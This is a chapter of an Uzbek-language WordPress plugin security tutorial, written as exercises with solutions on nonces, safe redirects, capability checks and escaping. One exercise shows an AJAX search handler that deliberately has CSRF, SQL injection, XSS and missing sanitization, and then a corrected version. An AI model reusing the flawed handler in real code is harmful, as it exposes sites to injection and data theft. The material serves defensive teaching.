wp_nonce_urlbilan havola,admin_post_*handler'dacheck_admin_referer+current_user_can( 'delete_post', $id )+wp_delete_post+wp_safe_redirect. Negawp_safe_redirect(oddiywp_redirectemas)?
Yechim
namespace Oqil\KitobKatalog;
function kitkat_ochirish_havolasi( int $kitob_id ): string {
$url = wp_nonce_url(
admin_url( 'admin-post.php?action=kitkat_kitob_ochir&kitob_id=' . $kitob_id ),
'kitkat_kitob_ochir_' . $kitob_id,
'kitkat_nonce'
);
return '<a href="' . esc_url( $url ) . '">'
. esc_html__( 'O\'chirish', 'kitoblar-katalogi' ) . '</a>';
}
add_action( 'admin_post_kitkat_kitob_ochir', __NAMESPACE__ . '\\kitkat_ochir_handler' );
function kitkat_ochir_handler(): void {
$kitob_id = absint( $_GET['kitob_id'] ?? 0 );
check_admin_referer( 'kitkat_kitob_ochir_' . $kitob_id, 'kitkat_nonce' );
if ( ! current_user_can( 'delete_post', $kitob_id ) ) {
wp_die( esc_html__( 'Ruxsat yo\'q.', 'kitoblar-katalogi' ) );
}
wp_delete_post( $kitob_id, true );
wp_safe_redirect( admin_url( 'edit.php?post_type=kitob&kitkat_ochirildi=1' ) );
exit;
}
wp_safe_redirect faqat ruxsat etilgan (lokal yoki allowlist'dagi) host'larga yo'naltiradi β agar yo'naltirish manzili foydalanuvchi kiritmasiga bog'liq bo'lsa, ochiq-redirect zaifligini to'sadi. Nonce'ni _ . $kitob_id bilan har kitobga noyob qildik. current_user_can ga konkret $kitob_id uzatdik (IDOR himoyasi).
- (Qiyin) Quyidagi kodda to'rtta turli xavfsizlik nuqsoni bor (har xil zaiflik turi). Hammasini aniqlang, qaysi zaiflik turi ekanini ayting va to'g'rilangan versiyani yozing:
add_action( 'wp_ajax_kitkat_qidir', function () {
global $wpdb;
$q = $_POST['q'];
$natija = $wpdb->get_results( "SELECT post_title FROM {$wpdb->posts} WHERE post_title LIKE '%$q%'" );
foreach ( $natija as $r ) {
echo '<li>' . $r->post_title . '</li>';
}
wp_die();
} );
Yechim
Nuqsonlar:
- Nonce yo'q (CSRF) β
check_ajax_refererchaqirilmagan. - SQLi β
$qto'g'ridan-to'g'ri so'rovga yopishtirilgan ('%$q%').$wpdb->preparekerak. - XSS (chiqish escape yo'q) β
$r->post_titleescape'siz echo qilingan. - Sanitize yo'q β
$_POST['q']unslash/sanitize qilinmagan (va capability ham yo'q β bonus).
To'g'rilangan:
add_action( 'wp_ajax_kitkat_qidir', function (): void {
check_ajax_referer( 'kitkat_qidir', 'nonce' ); // 1) nonce
global $wpdb;
$q = sanitize_text_field( wp_unslash( $_POST['q'] ?? '' ) ); // 4) sanitize
$like = '%' . $wpdb->esc_like( $q ) . '%';
$natija = $wpdb->get_results( // 2) prepare
$wpdb->prepare(
"SELECT post_title FROM {$wpdb->posts}
WHERE post_status = %s AND post_title LIKE %s",
'publish',
$like
)
);
foreach ( $natija as $r ) {
echo '<li>' . esc_html( $r->post_title ) . '</li>'; // 3) escape
}
wp_die();
} );
$wpdb->esc_like() LIKE ichidagi %/_ belgilarini ham qochiradi (10-bob). To'rt ustun: nonce + sanitize + prepare + escape.
- (Qiyin) Tushuntiring: nega bir qiymat bazada "toza" saqlangan bo'lsa ham, chiqishda yana escape qilish kerak? "Sanitize qildim, escape kerak emas" fikri qaysi hollarda zaiflikka olib keladi?
Yechim
Sanitize kirish kontekstini bilmaydi, lekin chiqish kontekstini ham bilmaydi. Misol: sanitize_text_field matnni tozalaydi, lekin &, <, " belgilarini qoldirishi mumkin (ular oddiy matnda yaroqli). Shu qiymat keyin HTML atributiga (value="...") qo'yilsa β escape'siz " atributni "yopib", zaiflik ochadi.
Ikkinchi sabab β kontekst saqlash paytida noma'lum. Bitta qiymat (masalan muallif ismi) bir joyda HTML matn, boshqa joyda atribut, uchinchi joyda URL bo'lib chiqishi mumkin. Saqlash payti qaysi kontekstda chiqishini bilmaydi. Shuning uchun: sanitize kirishda (bir marta), escape har chiqishda (kontekstga mos). "Bir marta tozaladim" yetarli emas, chunki XSS chiqish kontekstida tug'iladi, kirish emas.
Uchinchi sabab β ma'lumot boshqa manbadan kelishi mumkin (boshqa plugin, eski baza, import). Chiqishda escape qilish β yagona ishonchli himoya nuqtasi.
β¬ οΈ Oldingi: 11 β Foydalanuvchi, rol va capabilities Β· π README Β· Keyingi: 13 β Shortcode'lar β‘οΈ